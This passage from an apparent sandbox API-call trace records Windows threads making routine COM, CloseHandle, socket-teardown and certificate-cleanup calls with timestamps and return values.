pToken=0x1edb50 | out: pToken=0x1edb50) returned 0x0 [0250.254] CObjectContext::QueryInterface () returned 0x0 [0250.254] CObjectContext::GetCurrentThreadType () returned 0x0 [0250.254] Release () returned 0x0 [0250.254] CoUninitialize () Thread: id = 57 os_tid = 0xe84 Thread: id = 58 os_tid = 0xe88 [0094.987] CoGetContextToken (in: pToken=0x1a84f8e0 | out: pToken=0x1a84f8e0) returned 0x0 [0094.987] CObjectContext::QueryInterface () returned 0x0 [0094.987] CObjectContext::GetCurrentThreadType () returned 0x0 [0094.987] Release () returned 0x0 [0094.987] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0121.925] CloseHandle (hObject=0x248) returned 1 [0121.925] CloseHandle (hObject=0x7d8) returned 1 [0121.926] CloseHandle (hObject=0x220) returned 1 [0121.926] CloseHandle (hObject=0x280) returned 1 [0121.926] CloseHandle (hObject=0x2b8) returned 1 [0121.926] CloseHandle (hObject=0x2a8) returned 1 [0121.927] CloseHandle (hObject=0x240) returned 1 [0121.927] CloseHandle (hObject=0x218) returned 1 [0121.927] CloseHandle (hObject=0x260) returned 1 [0121.928] CloseHandle (hObject=0x290) returned 1 [0121.928] CloseHandle (hObject=0x278) returned 1 [0121.928] CloseHandle (hObject=0x210) returned 1 [0121.929] CloseHandle (hObject=0x2c0) returned 1 [0121.929] CloseHandle (hObject=0x238) returned 1 [0121.929] CloseHandle (hObject=0x258) returned 1 [0121.929] CloseHandle (hObject=0x2a0) returned 1 [0121.930] CloseHandle (hObject=0x2b0) returned 1 [0121.930] CloseHandle (hObject=0x208) returned 1 [0121.930] CloseHandle (hObject=0x230) returned 1 [0121.931] CloseHandle (hObject=0x270) returned 1 [0121.931] CloseHandle (hObject=0x288) returned 1 [0121.931] CloseHandle (hObject=0x250) returned 1 [0121.931] CloseHandle (hObject=0x1fc) returned 1 [0121.932] CloseHandle (hObject=0x2c8) returned 1 [0121.932] CloseHandle (hObject=0x228) returned 1 [0121.933] CloseHandle (hObject=0x298) returned 1 [0121.933] CloseHandle (hObject=0x268) returned 1 [0121.933] CloseHandle (hObject=0x2d8) returned 1 [0121.933] CloseHandle (hObject=0x23c) returned 1 [0121.934] CertFreeCRLContext (pCrlContext=0x1c5d7f40) returned 1 [0121.934] CertFreeCRLContext (pCrlContext=0x1a63dfa0) returned 1 [0121.934] CloseHandle (hObject=0x2ac) returned 1 [0121.935] CloseHandle (hObject=0x4bc) returned 1 [0121.935] CloseHandle (hObject=0x274) returned 1 [0121.935] CloseHandle (hObject=0x4b8) returned 1 [0121.935] CloseHandle (hObject=0x234) returned 1 [0121.936] CloseHandle (hObject=0x448) returned 1 [0121.936] CloseHandle (hObject=0x2d4) returned 1 [0121.936] CloseHandle (hObject=0x444) returned 1 [0121.936] setsockopt (s=0x4d8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0121.937] closesocket (s=0x4d8) returned 0 [0121.937] CloseHandle (hObject=0x440) returned 1 [0121.937] CloseHandle (hObject=0x2a4) returned 1 [0121.938] CloseHandle (hObject=0x22c) returned 1 [0121.938] CloseHandle (hObject=0x26c) returned 1 [0121.942] CloseHandle (hObject=0x27c) returned 1 [0121.942] CloseHandle (hObject=0x43c) returned 1 [0121.943] CloseHandle (hObject=0x5e0) returned 1 [0121.943] CloseHandle (hObject=0x438) returned 1 [0121.943] CloseHandle (hObject=0x4e4) returned 1 [0121.943] CloseHandle (hObject=0x2d0) returned 1 [0121.944] CloseHandle (hObject=0x434) returned 1 [0121.944] CloseHandle (hObject=0x430) returned 1 [0121.944] CloseHandle (hObject=0x224) returned 1 [0121.944] CloseHandle (hObject=0x264) returned 1 [0121.944] CloseHandle (hObject=0x29c) returned 1 [0121.945] CloseHandle (hObject=0x42c) returned 1 [0121.945] setsockopt (s=0x7dc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0121.945] closesocket (s=0x7dc) returned 0 [0121.946] CloseHandle (hObject=0x21c) returned 1 [0121.946] CloseHandle (hObject=0x2e4) returned 1 [0121.946] CloseHandle (hObject=0x25c) returned 1 [0121.947] CertCloseStore (hCertStore=0x1a578300, dwFlags=0x0) returned 1 [0121.947] CloseHandle (hObject=0x294) returned 1 [0121.947] CloseHandle (hObject=0x2c4) returned 1 [0121.948] CloseHandle (hObject=0x214) returned 1 [0121.948] CloseHandle (hObject=0x5dc) returned 1 [0121.949] CloseHandle (hObject=0x254) returned 1 [0121.949] CloseHandle (hObject=0x5d4) returned 1 [0121.949] CloseHandle (hObject=0x2e0) returned 1 [0121.949] CertFreeCRLContext (pCrlContext=0x1a63dfa0) returned 1 [0121.949] CloseHandle (hObject=0x28c) returned 1 [0121.950] CloseHandle (hObject=0x20c) returned 1 [0121.950] CloseHandle (hObject=0x5b8) returned 1 [0121.950] CloseHandle (hObject=0x5bc) returned 1 [0121.950] CloseHandle (hObject=0x2bc) returned 1 [0121.951] CloseHandle (hObject=0x24c) returned 1 [0121.951] CertFreeCRLContext (pCrlContext=0x1a63e020) returned 1 [0121.951] CloseHandle (hObject=0x204) returned 1 [0121.952] CloseHandle (hObject=0x4f4) returned 1 [0121.952] CloseHandle (hObject=0x2dc) returned 1 [0121.952] CloseHandle (hObject=0x284) returned 1 [0121.952] CertFreeCRLContext (pCrlContext=0x1c5d7fc0) returned 1 [0121.953] CloseHandle (hObject=0x4f0) returned 1 [0121.953] CloseHandle (hObject=0x4ec) returned 1 [0121.953] CloseHandle (hObject=0x244) returned 1 [0121.953] CloseHandle (hObject=0x200) returned 1 [0121.953] CloseHandle (hObject=0x2b4) returned 1 [0121.954] CloseHandle (hObject=0x4e8) returned 1 [0196.754] CloseHandle (hObject=0x4c4) returned 1 [0197.462] CloseHandle (hObject=0x4c4) returned 1 [0197.583] CloseHandle (hObject=0x2b4) returned 1 [0197.583] CloseHandle (hObject=0x59c) returned 1 [0197.583] CloseHandle (hObject=0x4e8) returned 1 [0197.583] CloseHandle (hObject=0x4c4) returned 1 [0197.718] CloseHandle (hObject=0x4e8) returned 1 [0197.719] CloseHandle (hObject=0x4c4) returned 1 [0197.805] CloseHandle (hObject=0x59c) returned 1 [0197.830] CloseHandle (hObject=0x59c) returned 1 [0197.852] CloseHandle (hObject=0x2b4) returned 1 [0197.892] CloseHandle (hObject=0x4c4) returned 1 [0197.892] CloseHandle (hObject=0x2b4) returned 1 [0197.985] CloseHandle (hObject=0x4c4) returned 1 [0197.985] CloseHandle (hObject=0x2b4) returned 1 [0198.071] CloseHandle (hObject=0x2b4) returned 1 [0198.133] CloseHandle (hObject=0x4c4) returned 1 [0198.196] CloseHandle (hObject=0x4c4) returned 1 [0198.314] CloseHandle (hObject=0x59c) returned 1 [0198.372] CloseHandle (hObject=0x59c) returned 1 [0198.488] CloseHandle (hObject=0x2b4) returned 1 [0198.556] CloseHandle (hObject=0x2b4) returned 1 [0198.635] CloseHandle (hObject=0x4c4) returned 1 [0198.655] CloseHandle (hObject=0x4c4) returned 1 [0198.789] CloseHandle (hObject=0x59c) returned 1 [0198.809] CloseHandle (hObject=0x59c) returned 1 [0198.998] CloseHandle (hObject=0x2b4) returned 1 [0199.086] CloseHandle (hObject=0x4c4) returned 1 [0199.087] CloseHandle (hObject=0x2b4) returned 1 [0199.104] CloseHandle (hObject=0x2b4) returned 1 [0199.261] CloseHandle (hObject=0x4c4) returned 1 [0199.387] CloseHandle (hObject=0x59c) returned 1 [0199.387] CloseHandle (hObject=0x4c4) returned 1 [0199.497] CloseHandle (hObject=0x59c) returned 1 [0199.498] CloseHandle (hObject=0x4c4) returned 1 [0199.518] CloseHandle (hObject=0x4c4) returned 1 [0199.700] CloseHandle (hObject=0x59c) returned 1 [0199.806] CloseHandle (hObject=0x2b4) returned 1 [0199.806] CloseHandle (hObject=0x59c) returned 1 [0199.877] CloseHandle (hObject=0x59c) returned 1 [0200.067] CloseHandle (hObject=0x2b4) returned 1 [0200.425] CloseHandle (hObject=0x4c4) returned 1 [0200.425] CloseHandle (hObject=0x2b4) returned 1 [0200.727] CloseHandle (hObject=0x4c4) returned 1 [0200.728] CloseHandle (hObject=0x2b4) returned 1 [0200.746] CloseHandle (hObject=0x2b4) returned 1 [0200.847] CloseHandle (hObject=0x4c4) returned 1 [0201.016] CloseHandle (hObject=0x4c4) returned 1 [0201.117] CloseHandle (hObject=0x59c) returned 1 [0201.220] CloseHandle (hObject=0x2b4) returned 1 [0201.220] CloseHandle (hObject=0x59c) returned 1 [0201.491] CloseHandle (hObject=0x2b4) returned 1 [0201.491] CloseHandle (hObject=0x59c) returned 1 [0201.510] CloseHandle (hObject=0x59c) returned 1 [0201.801] CloseHandle (hObject=0x2b4) returned 1 [0201.885] CloseHandle (hObject=0x4c4) returned 1 [0201.885] CloseHandle (hObject=0x2b4) returned 1 [0201.935] CloseHandle (hObject=0x4c4) returned 1 [0201.935] CloseHandle (hObject=0x2b4) returned 1 [0202.094] CloseHandle (hObject=0x2b4) returned 1 [0202.275] CloseHandle (hObject=0x4c4) returned 1 [0202.601] CloseHandle (hObject=0x4c4) returned 1 [0202.828] CloseHandle (hObject=0x59c) returned 1 [0202.973] CloseHandle (hObject=0x59c) returned 1 [0203.232] CloseHandle (hObject=0x2b4) returned 1 [0203.648] CloseHandle (hObject=0x2b4) returned 1 [0203.828] CloseHandle (hObject=0x4c4) returned 1 [0203.856] CloseHandle (hObject=0x4c4) returned 1 [0203.975] CloseHandle (hObject=0x59c) returned 1 [0204.003] CloseHandle (hObject=0x59c) returned 1 [0204.061] CloseHandle (hObject=0x2b4) returned 1 [0204.086] CloseHandle (hObject=0x2b4) returned 1 [0204.224] CloseHandle (hObject=0x4c4) returned 1 [0204.280] CloseHandle (hObject=0x4c4) returned 1 [0204.350] CloseHandle (hObject=0x59c) returned 1 [0204.495] CloseHandle (hObject=0x4f0) returned 1 [0204.495] CloseHandle (hObject=0x4ec) returned 1 [0204.495] CloseHandle (hObject=0x244) returned 1 [0204.496] CloseHandle (hObject=0x200) returned 1 [0204.496] CloseHandle (hObject=0x4e8) returned 1 [0204.496] CloseHandle (hObject=0x4c4) returned 1 [0204.496] CloseHandle (hObject=0x2b4) returned 1 [0204.496] CloseHandle (hObject=0x59c) returned 1 [0204.586] CloseHandle (hObject=0x2b4) returned 1 [0204.586] CloseHandle (hObject=0x59c) returned 1 [0204.651] CloseHandle (hObject=0x2b4) returned 1 [0204.651] CloseHandle (hObject=0x59c) returned 1 [0204.927] CloseHandle (hObject=0x2b4) returned 1 [0204.927] CloseHandle (hObject=0x59c) returned 1 [0205.083] CloseHandle (hObject=0x2b4) returned 1 [0205.083] CloseHandle (hObject=0x59c) returned 1 [0205.171] CloseHandle (hObject=0x2b4) returned 1 [0205.172] CloseHandle (hObject=0x59c) returned 1 [0205.330] CloseHandle (hObject=0x2b4) returned 1 [0205.330] CloseHandle (hObject=0x59c) returned 1 [0205.544] CloseHandle (hObject=0x2b4) returned 1 [0205.544] CloseHandle (hObject=0x59c) returned 1 [0205.654] CloseHandle (hObject=0x2b4) returned 1 [0205.655] CloseHandle (hObject=0x59c) returned 1 [0205.852] CloseHandle (hObject=0x2b4) returned 1 [0205.852] CloseHandle (hObject=0x59c) returned 1 [0206.152] CloseHandle (hObject=0x2b4) returned 1 [0206.152] CloseHandle (hObject=0x59c) returned 1 [0206.515] CloseHandle (hObject=0x2b4) returned 1 [0206.516] CloseHandle (hObject=0x59c) returned 1 [0206.698] CloseHandle (hObject=0x2b4) returned 1 [0206.698] CloseHandle (hObject=0x59c) returned 1 [0206.853] CloseHandle (hObject=0x2b4) returned 1 [0206.853] CloseHandle (hObject=0x59c) returned 1 [0206.960] CloseHandle (hObject=0x59c) returned 1 [0206.960] CloseHandle (hObject=0x2b4) returned 1 [0207.197] CloseHandle (hObject=0x59c) returned 1 [0207.198] CloseHandle (hObject=0x2b4) returned 1 [0207.351] CloseHandle (hObject=0x59c) returned 1 [0207.351] CloseHandle (hObject=0x2b4) returned 1 [0207.488] CloseHandle (hObject=0x59c) returned 1 [0207.488] CloseHandle (hObject=0x2b4) returned 1 [0207.629] CloseHandle (hObject=0x59c) returned 1 [0207.629] CloseHandle (hObject=0x2b4) returned 1 [0207.768] CloseHandle (hObject=0x59c) returned 1 [0207.768] CloseHandle (hObject=0x2b4) returned 1 [0207.808] CloseHandle (hObject=0x59c) returned 1 [0207.808] CloseHandle (hObject=0x2b4) returned 1 [0207.828] CloseHandle (hObject=0x2b4) returned 1 [0207.835] CloseHandle (hObject=0x59c) returned 1 [0207.903] CloseHandle (hObject=0x4c4) returned 1 [0207.903] CloseHandle (hObject=0x59c) returned 1 [0207.922] CloseHandle (hObject=0x59c) returned 1 [0208.017] CloseHandle (hObject=0x4c4) returned 1 [0208.245] CloseHandle (hObject=0x2b4) returned 1 [0208.245] CloseHandle (hObject=0x4c4) returned 1 [0208.265] CloseHandle (hObject=0x4c4) returned 1 [0208.292] CloseHandle (hObject=0x2b4) returned 1 [0208.336] CloseHandle (hObject=0x59c) returned 1 [0208.337] CloseHandle (hObject=0x2b4) returned 1 [0208.440] CloseHandle (hObject=0x59c) returned 1 [0208.440] CloseHandle (hObject=0x2b4) returned 1 [0208.468] CloseHandle (hObject=0x59c) returned 1 [0208.468] CloseHandle (hObject=0x2b4) returned 1 [0208.497] CloseHandle (hObject=0x2b4) returned 1 [0208.542] CloseHandle (hObject=0x59c) returned 1 [0208.573] CloseHandle (hObject=0x4c4) returned 1 [0208.573] CloseHandle (hObject=0x59c) returned 1 [0208.635] CloseHandle (hObject=0x4c4) returned 1 [0208.635] CloseHandle (hObject=0x59c) returned 1 [0208.666] CloseHandle (hObject=0x59c) returned 1 [0208.710] CloseHandle (hObject=0x4c4) returned 1 [0208.740] CloseHandle (hObject=0x4c4) returned 1 [0208.814] CloseHandle (hObject=0x2b4) returned 1 [0208.834] CloseHandle (hObject=0x2b4) returned 1 [0208.872] CloseHandle (hObject=0x59c) returned 1 [0208.930] CloseHandle (hObject=0x4c4) returned 1 [0208.930] CloseHandle (hObject=0x59c) returned 1 [0208.970] CloseHandle (hObject=0x4c4) returned 1 [0208.970] CloseHandle (hObject=0x59c) returned 1 [0208.990] CloseHandle (hObject=0x59c) returned 1 [0209.023] CloseHandle (hObject=0x4c4) returned 1 [0209.045] CloseHandle (hObject=0x4c4) returned 1 [0209.097] CloseHandle (hObject=0x2b4) returned 1 [0209.116] CloseHandle (hObject=0x2b4) returned 1 [0209.169] CloseHandle (hObject=0x59c) returned 1 [0209.505] CloseHandle (hObject=0x4f0) returned 1 [0209.506] CloseHandle (hObject=0x4ec) returned 1 [0209.506] CloseHandle (hObject=0x244) returned 1 [0209.506] CloseHandle (hObject=0x200) returned 1 [0209.507] CloseHandle (hObject=0x4e8) returned 1 [0209.507] CloseHandle (hObject=0x2b4) returned 1 [0209.507] CloseHandle (hObject=0x4c4) returned 1 [0209.507] CloseHandle (hObject=0x59c) returned 1 [0209.598] CloseHandle (hObject=0x4c4) returned 1 [0209.598] CloseHandle (hObject=0x59c) returned 1 [0209.701] CloseHandle (hObject=0x4c4) returned 1 [0209.701] CloseHandle (hObject=0x59c) returned 1 [0209.804] CloseHandle (hObject=0x4c4) returned 1 [0209.805] CloseHandle (hObject=0x59c) returned 1 [0209.957] CloseHandle (hObject=0x4c4) returned 1 [0209.957] CloseHandle (hObject=0x59c) returned 1 [0210.055] CloseHandle (hObject=0x4c4) returned 1 [0210.055] CloseHandle (hObject=0x59c) returned 1 [0210.088] CloseHandle (hObject=0x4c4) returned 1 [0210.088] CloseHandle (hObject=0x59c) returned 1 [0210.146] CloseHandle (hObject=0x4c4) returned 1 [0210.146] CloseHandle (hObject=0x59c) returned 1 [0210.165] CloseHandle (hObject=0x59c) returned 1 [0210.249] CloseHandle (hObject=0x4c4) returned 1 [0210.320] CloseHandle (hObject=0x4c4) returned 1 [0210.398] CloseHandle (hObject=0x2b4) returned 1 [0210.418] CloseHandle (hObject=0x2b4) returned 1 [0210.511] CloseHandle (hObject=0x59c) returned 1 [0210.599] CloseHandle (hObject=0x4c4) returned 1 [0210.599] CloseHandle (hObject=0x59c) returned 1 [0210.703] CloseHandle (hObject=0x4c4) returned 1 [0210.703] CloseHandle (hObject=0x59c) returned 1 [0210.777] CloseHandle (hObject=0x4c4) returned 1 [0210.777] CloseHandle (hObject=0x59c) returned 1 [0210.843] CloseHandle (hObject=0x59c) returned 1 [0210.941] CloseHandle (hObject=0x4c4) returned 1 [0210.959] CloseHandle (hObject=0x4c4) returned 1 [0211.045] CloseHandle (hObject=0x2b4) returned 1 [0211.103] CloseHandle (hObject=0x2b4) returned 1 [0211.210] CloseHandle (hObject=0x59c) returned 1 [0211.229] CloseHandle (hObject=0x59c) returned 1 [0211.351] CloseHandle (hObject=0x4c4) returned 1 [0211.373] CloseHandle (hObject=0x4c4) returned 1 [0211.438] CloseHandle (hObject=0x2b4) returned 1 [0211.539] CloseHandle (hObject=0x59c) returned 1 [0211.539] CloseHandle (hObject=0x2b4) returned 1 [0211.559] CloseHandle (hObject=0x2b4) returned 1 [0211.652] CloseHandle (hObject=0x59c) returned 1 [0211.724] CloseHandle (hObject=0x4c4) returned 1 [0211.724] CloseHandle (hObject=0x59c) returned 1 [0211.779] CloseHandle (hObject=0x59c) returned 1 [0211.800] CloseHandle (hObject=0x4c4) returned 1 [0211.886] CloseHandle (hObject=0x2b4) returned 1 [0211.886] CloseHandle (hObject=0x4c4) returned 1 [0211.968] CloseHandle (hObject=0x2b4) returned 1 [0211.969] CloseHandle (hObject=0x4c4) returned 1 [0211.987] CloseHandle (hObject=0x4c4) returned 1 [0212.006] CloseHandle (hObject=0x2b4) returned 1 [0212.100] CloseHandle (hObject=0x59c) returned 1 [0212.100] CloseHandle (hObject=0x2b4) returned 1 [0212.238] CloseHandle (hObject=0x2b4) returned 1 [0212.451] CloseHandle (hObject=0x59c) returned 1 [0212.692] CloseHandle (hObject=0x4c4) returned 1 [0212.692] CloseHandle (hObject=0x59c) returned 1 [0212.712] CloseHandle (hObject=0x59c) returned 1 [0212.773] CloseHandle (hObject=0x4c4) returned 1 [0212.804] CloseHandle (hObject=0x2b4) returned 1 [0212.804] CloseHandle (hObject=0x4c4) returned 1 [0212.823] CloseHandle (hObject=0x4c4) returned 1 [0212.852] CloseHandle (hObject=0x2b4) returned 1 [0212.983] CloseHandle (hObject=0x59c) returned 1 [0212.983] CloseHandle (hObject=0x2b4) returned 1 [0213.001] CloseHandle (hObject=0x2b4) returned 1 [0213.128] CloseHandle (hObject=0x59c) returned 1 [0213.146] CloseHandle (hObject=0x59c) returned 1 [0213.205] CloseHandle (hObject=0x4c4) returned 1 [0213.228] CloseHandle (hObject=0x2b4) returned 1 [0213.229] CloseHandle (hObject=0x4c4) returned 1 [0213.440] CloseHandle (hObject=0x2b4) returned 1 [0213.441] CloseHandle (hObject=0x4c4) returned 1 [0213.582] CloseHandle (hObject=0x2b4) returned 1 [0213.582] CloseHandle (hObject=0x4c4) returned 1 [0213.615] CloseHandle (hObject=0x4c4) returned 1 [0213.735] CloseHandle (hObject=0x2b4) returned 1 [0213.836] CloseHandle (hObject=0x2b4) returned 1 [0214.023] CloseHandle (hObject=0x59c) returned 1 [0214.146] CloseHandle (hObject=0x59c) returned 1 [0214.377] CloseHandle (hObject=0x4c4) returned 1 [0214.480] CloseHandle (hObject=0x2b4) returned 1 [0214.480] CloseHandle (hObject=0x4c4) returned 1 [0214.667] CloseHandle (hObject=0x4c4) returned 1 [0214.744] CloseHandle (hObject=0x2b4) returned 1 [0214.846] CloseHandle (hObject=0x5e4) returned 1 [0214.846] CloseHandle (hObject=0x2b4) returned 1 [0214.959] CloseHandle (hObject=0x5e4) returned 1 [0214.959] CloseHandle (hObject=0x2b4) returned 1 [0214.979] CloseHandle (hObject=0x2b4) returned 1 [0215.118] CloseHandle (hObject=0x5e4) returned 1 [0215.230] CloseHandle (hObject=0x5e4) returned 1 [0215.409] CloseHandle (hObject=0x4c4) returned 1 [0215.729] CloseHandle (hObject=0x4c4) returned 1 [0215.873] CloseHandle (hObject=0x2b4) returned 1 [0216.075] CloseHandle (hObject=0x5e4) returned 1 [0216.075] CloseHandle (hObject=0x2b4) returned 1 [0216.095] CloseHandle (hObject=0x2b4) returned 1 [0216.214] CloseHandle (hObject=0x5e4) returned 1 [0216.356] CloseHandle (hObject=0x4c4) returned 1 [0216.357] CloseHandle (hObject=0x5e4) returned 1 [0216.380] CloseHandle (hObject=0x5e4) returned 1 [0216.469] CloseHandle (hObject=0x4c4) returned 1 [0216.643] CloseHandle (hObject=0x2b4) returned 1 [0216.643] CloseHandle (hObject=0x4c4) returned 1 [0216.758] CloseHandle (hObject=0x2b4) returned 1 [0216.758] CloseHandle (hObject=0x4c4) returned 1 [0216.893] CloseHandle (hObject=0x2b4) returned 1 [0216.894] CloseHandle (hObject=0x4c4) returned 1 [0217.067] CloseHandle (hObject=0x4c4) returned 1 [0217.067] CloseHandle (hObject=0x2b4) returned 1 [0217.087] CloseHandle (hObject=0x2b4) returned 1 [0217.320] CloseHandle (hObject=0x4c4) returned 1 [0217.473] CloseHandle (hObject=0x4c4) returned 1 [0217.722] CloseHandle (hObject=0x314) returned 1 [0217.741] CloseHandle (hObject=0x314) returned 1 [0217.834] CloseHandle (hObject=0x380) returned 1 [0217.953] CloseHandle (hObject=0x380) returned 1 [0217.979] CloseHandle (hObject=0x4c4) returned 1 [0218.059] CloseHandle (hObject=0x314) returned 1 [0218.059] CloseHandle (hObject=0x4c4) returned 1 [0218.119] CloseHandle (hObject=0x314) returned 1 [0218.120] CloseHandle (hObject=0x4c4) returned 1 [0218.141] CloseHandle (hObject=0x4c4) returned 1 [0218.165] CloseHandle (hObject=0x314) returned 1 [0218.242] CloseHandle (hObject=0x380) returned 1 [0218.243] CloseHandle (hObject=0x314) returned 1 [0218.307] CloseHandle (hObject=0x380) returned 1 [0218.307] CloseHandle (hObject=0x314) returned 1 [0218.466] CloseHandle (hObject=0x380) returned 1 [0218.466] CloseHandle (hObject=0x314) returned 1 [0218.486] CloseHandle (hObject=0x314) returned 1 [0218.750] CloseHandle (hObject=0x380) returned 1 [0218.830] CloseHandle (hObject=0x380) returned 1 [0218.931] CloseHandle (hObject=0x4c4) returned 1 [0218.949] CloseHandle (hObject=0x4c4) returned 1 [0219.023] CloseHandle (hObject=0x314) returned 1 [0219.099] CloseHandle (hObject=0x314) returned 1 [0219.312] CloseHandle (hObject=0x380) returned 1 [0219.476] CloseHandle (hObject=0x380) returned 1 [0219.597] CloseHandle (hObject=0x4c4) returned 1 [0219.749] CloseHandle (hObject=0x314) returned 1 [0219.749] CloseHandle (hObject=0x4c4) returned 1 [0219.941] CloseHandle (hObject=0x4c4) returned 1 [0220.098] CloseHandle (hObject=0x314) returned 1 [0220.231] CloseHandle (hObject=0x314) returned 1 [0220.906] CloseHandle (hObject=0x380) returned 1 [0220.936] CloseHandle (hObject=0x380) returned 1 [0221.038] CloseHandle (hObject=0x4c4) returned 1 [0221.286] CloseHandle (hObject=0x37c) returned 1 [0221.286] CloseHandle (hObject=0x380) returned 1 [0221.286] CloseHandle (hObject=0x314) returned 1 [0221.286] CloseHandle (hObject=0x4c4) returned 1 [0221.418] CloseHandle (hObject=0x314) returned 1 [0221.418] CloseHandle (hObject=0x4c4) returned 1 [0221.558] CloseHandle (hObject=0x314) returned 1 [0221.558] CloseHandle (hObject=0x4c4) returned 1 [0222.178] CloseHandle (hObject=0x314) returned 1 [0222.179] CloseHandle (hObject=0x4c4) returned 1 [0222.428] CloseHandle (hObject=0x314) returned 1 [0222.428] CloseHandle (hObject=0x4c4) returned 1 [0222.619] CloseHandle (hObject=0x314) returned 1 [0222.619] CloseHandle (hObject=0x4c4) returned 1 [0222.838] CloseHandle (hObject=0x314) returned 1 [0222.838] CloseHandle (hObject=0x4c4) returned 1 [0222.972] CloseHandle (hObject=0x314) returned 1 [0222.972] CloseHandle (hObject=0x4c4) returned 1 [0223.093] CloseHandle (hObject=0x314) returned 1 [0223.093] CloseHandle (hObject=0x4c4) returned 1 [0223.423] CloseHandle (hObject=0x314) returned 1 [0223.424] CloseHandle (hObject=0x4c4) returned 1 [0223.591] CloseHandle (hObject=0x314) returned 1 [0223.591] CloseHandle (hObject=0x4c4) returned 1 [0223.791] CloseHandle (hObject=0x314) returned 1 [0223.791] CloseHandle (hObject=0x4c4) returned 1 [0223.833] CloseHandle (hObject=0x314) returned 1 [0223.834] CloseHandle (hObject=0x4c4) returned 1 [0223.880] CloseHandle (hObject=0x314) returned 1 [0223.880] CloseHandle (hObject=0x4c4) returned 1 [0223.978] CloseHandle (hObject=0x314) returned 1 [0223.978] CloseHandle (hObject=0x4c4) returned 1 [0224.109] CloseHandle (hObject=0x314) returned 1 [0224.109] CloseHandle (hObject=0x4c4) returned 1 [0224.268] CloseHandle (hObject=0x314) returned 1 [0224.269] CloseHandle (hObject=0x4c4) returned 1 [0224.409] CloseHandle (hObject=0x314) returned 1 [0224.409] CloseHandle (hObject=0x4c4) returned 1 [0224.565] CloseHandle (hObject=0x314) returned 1 [0224.566] CloseHandle (hObject=0x4c4) returned 1 [0224.671] CloseHandle (hObject=0x314) returned 1 [0224.672] CloseHandle (hObject=0x4c4) returned 1 [0224.780] CloseHandle (hObject=0x314) returned 1 [0224.780] CloseHandle (hObject=0x4c4) returned 1 [0224.838] CloseHandle (hObject=0x314) returned 1 [0224.838] CloseHandle (hObject=0x4c4) returned 1 [0224.890] CloseHandle (hObject=0x314) returned 1 [0224.891] CloseHandle (hObject=0x4c4) returned 1 [0224.949] CloseHandle (hObject=0x314) returned 1 [0224.950] CloseHandle (hObject=0x4c4) returned 1 [0225.058] CloseHandle (hObject=0x314) returned 1 [0225.058] CloseHandle (hObject=0x4c4) returned 1 [0225.113] CloseHandle (hObject=0x314) returned 1 [0225.113] CloseHandle (hObject=0x4c4) returned 1 [0225.167] CloseHandle (hObject=0x314) returned 1 [0225.168] CloseHandle (hObject=0x4c4) returned 1 [0225.253] CloseHandle (hObject=0x314) returned 1 [0225.253] CloseHandle (hObject=0x4c4) returned 1 [0225.275] CloseHandle (hObject=0x4c4) returned 1 [0225.511] CloseHandle (hObject=0x314) returned 1 [0225.583] CloseHandle (hObject=0x380) returned 1 [0225.583] CloseHandle (hObject=0x314) returned 1 [0225.693] CloseHandle (hObject=0x380) returned 1 [0225.693] CloseHandle (hObject=0x314) returned 1 [0225.780] CloseHandle (hObject=0x37c) returned 1 [0225.781] CloseHandle (hObject=0x4c4) returned 1 [0225.781] CloseHandle (hObject=0x380) returned 1 [0225.781] CloseHandle (hObject=0x314) returned 1 [0225.960] CloseHandle (hObject=0x380) returned 1 [0225.961] CloseHandle (hObject=0x314) returned 1 [0225.981] CloseHandle (hObject=0x314) returned 1 [0226.055] CloseHandle (hObject=0x380) returned 1 [0226.133] CloseHandle (hObject=0x4c4) returned 1 [0226.133] CloseHandle (hObject=0x380) returned 1 [0226.152] CloseHandle (hObject=0x380) returned 1 [0226.222] CloseHandle (hObject=0x4c4) returned 1 [0226.241] CloseHandle (hObject=0x4c4) returned 1 [0226.263] CloseHandle (hObject=0x314) returned 1 [0226.318] CloseHandle (hObject=0x380) returned 1 [0226.319] CloseHandle (hObject=0x314) returned 1 [0226.339] CloseHandle (hObject=0x380) returned 1 [0226.340] CloseHandle (hObject=0x314) returned 1 [0226.358] CloseHandle (hObject=0x314) returned 1 [0226.389] CloseHandle (hObject=0x380) returned 1 [0226.544] CloseHandle (hObject=0x4c4) returned 1 [0226.544] CloseHandle (hObject=0x380) returned 1 [0226.564] CloseHandle (hObject=0x380) returned 1 [0226.592] CloseHandle (hObject=0x4c4) returned 1 [0226.635] CloseHandle (hObject=0x4c4) returned 1 [0226.690] CloseHandle (hObject=0x314) returned 1 [0226.794] CloseHandle (hObject=0x380) returned 1 [0226.794] CloseHandle (hObject=0x314) returned 1 [0226.816] CloseHandle (hObject=0x314) returned 1 [0226.915] CloseHandle (hObject=0x380) returned 1 [0227.011] CloseHandle (hObject=0x4c4) returned 1 [0227.011] CloseHandle (hObject=0x380) returned 1 [0227.031] CloseHandle (hObject=0x380) returned 1 [0227.218] CloseHandle (hObject=0x4c4) returned 1 [0227.263] CloseHandle (hObject=0x4c4) returned 1 [0227.307] CloseHandle (hObject=0x314) returned 1 [0227.327] CloseHandle (hObject=0x314) returned 1 [0227.373] CloseHandle (hObject=0x380) returned 1 [0227.409] CloseHandle (hObject=0x380) returned 1 [0227.442] CloseHandle (hObject=0x4c4) returned 1 [0227.484] CloseHandle (hObject=0x4c4) returned 1 [0227.519] CloseHandle (hObject=0x314) returned 1 [0227.569] CloseHandle (hObject=0x380) returned 1 [0227.569] CloseHandle (hObject=0x314) returned 1 [0227.618] CloseHandle (hObject=0x380) returned 1 [0227.618] CloseHandle (hObject=0x314) returned 1 [0227.642] CloseHandle (hObject=0x380) returned 1 [0227.643] CloseHandle (hObject=0x314) returned 1 [0227.679] CloseHandle (hObject=0x380) returned 1 [0227.679] CloseHandle (hObject=0x314) returned 1 [0227.726] CloseHandle (hObject=0x380) returned 1 [0227.726] CloseHandle (hObject=0x314) returned 1 [0227.757] CloseHandle (hObject=0x314) returned 1 [0227.812] CloseHandle (hObject=0x380) returned 1 [0227.831] CloseHandle (hObject=0x380) returned 1 [0227.879] CloseHandle (hObject=0x4c4) returned 1 [0227.906] CloseHandle (hObject=0x314) returned 1 [0227.906] CloseHandle (hObject=0x4c4) returned 1 [0227.927] CloseHandle (hObject=0x4c4) returned 1 [0227.952] CloseHandle (hObject=0x314) returned 1 [0227.979] CloseHandle (hObject=0x380) returned 1 [0227.979] CloseHandle (hObject=0x314) returned 1 [0228.004] CloseHandle (hObject=0x380) returned 1 [0228.004] CloseHandle (hObject=0x314) returned 1 [0228.042] 